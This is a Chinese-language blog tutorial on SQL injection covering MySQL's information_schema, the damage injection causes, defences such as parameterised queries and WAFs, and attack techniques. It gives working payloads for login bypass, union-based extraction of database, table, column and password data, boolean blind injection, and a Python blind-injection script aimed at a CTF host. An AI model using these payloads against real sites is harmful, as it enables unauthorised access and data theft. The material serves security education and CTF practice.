sql注入概念理解

前言

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接受相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。SQL就是一种数据库查询语言。

我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端显示的资源,既然有资源,那么就需要有存储资源的地方——如mysql数据库、那服务器如何对数据获取?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。

关于数据库

  • 在MYSQL5.0版本后,MYSQL默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是schemata、tables、columns。

  • Schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name。

  • Tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schema和table_name。

  • Columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、columns_name。

SQL注入漏洞危害

SQL注入漏洞对于数据安全的影响:

  • 数据库信息泄露:数据库中存放的用户的隐私信息的泄露。

  • 网页篡改:通过操作数据库对特定网页进行篡改。

  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改。

  • 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

  • 破坏硬盘数据,瘫痪全系统。

SQL注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

代码层面:

  1. 对输入进行严格的转义和过滤

  2. 使用参数化:目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了“拼接”的方式,所以使用时需要慎重。

  3. PDO预处理(Java、PHP防范推荐方法):进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入

网络层面:

  1. 通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

  2. 云端防护(如阿里云盾)

注入可能存在的地方

既然是SQL注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1

如我们看见这种就可以考虑

或者是搜索框,前端用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据,如下

或者是HTTP请求头部字段如Cookie值。

常见的注入手法

  • 联合查询

  • 报错注入

  • 基于布尔的盲注

  • 基于时间的盲注

  • HTTP头注入

  • 宽字节注入

  • 堆叠查询

  • 二次注入

联合查询

必备条件

  1. 界面能够回显数据库查询到的数据(必要条件);
  2. 界面回显内容至少能够显示数据库中的某列条件(必要条件);
  3. 部分能够直接提供数据库报错内容的回显;

万能密码

当用户登录时,后台执行的数据库查询操作(SQL语句)为

1
Select user_id,user_type,email From users Where user_id='用户名' And password = '密码'

由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名admin和万能密码2’ or 1时,执行的SQL语句为

1
Select user_id,user_type,email From users Where user_id='admin' And password ='2' or' 1'

同时,由于SQL语句中逻辑运算符具有优先级,=优先于and,and优先于or,且适用传递性,因此,此SQL语句在后台解析时分成两句

1
Select user_id,user_type,email From users Where user_id='admin' And password ='2'' 1'

两句bool值进行逻辑or运算,恒为TRUE,SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。

万能密码成功后是以第一个用户登录进去的

猜测字段数

1
1' order by 4#

若SQL报错则大于字段数

判断回显位置

根据字段数来判断

1
1' union select 1,2,3,4#

可根据页面回显的数字来判断回显位置

获取全部数据库名

假设回显位置为1,2

1
1' union select 1,group_concat(schema_name) from information_schema.schemata#

获取表名

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取字段名

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='study'#

获取值

1
1'  union select 1,group_concat(username,0x7e,password) from 库名.表名#

基于布尔的盲注

布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错,由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

使用函数理解

IF()函数

SUBSTR()函数

获取全部数据库名

1
1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>97,1,0)#

获取表名

1
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='库名'),1,1))>97,1,0)#

获取字段名

1
1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,1))>97,1,0)#

获取值

1
1' and if(ascii(substr((select group_concat(flag) from 库名.表名),1,1))>97,1,0)#

布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},1,0)%23'
payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=""),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=""),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat()/**/from/**/flag),{i},1))>{mid},1,0)%23'
# print(payload)
url = f"http://9fac26b7-f8d9-455e-b7d2-2986864286ff.node5.buuoj.cn:81/?stunum={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'admin' in r.text:
low = mid + 1
# time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break


sql注入概念理解
http://example.com/2024/03/18/sql/
作者
奇怪的奇怪
发布于
2024年3月18日
许可协议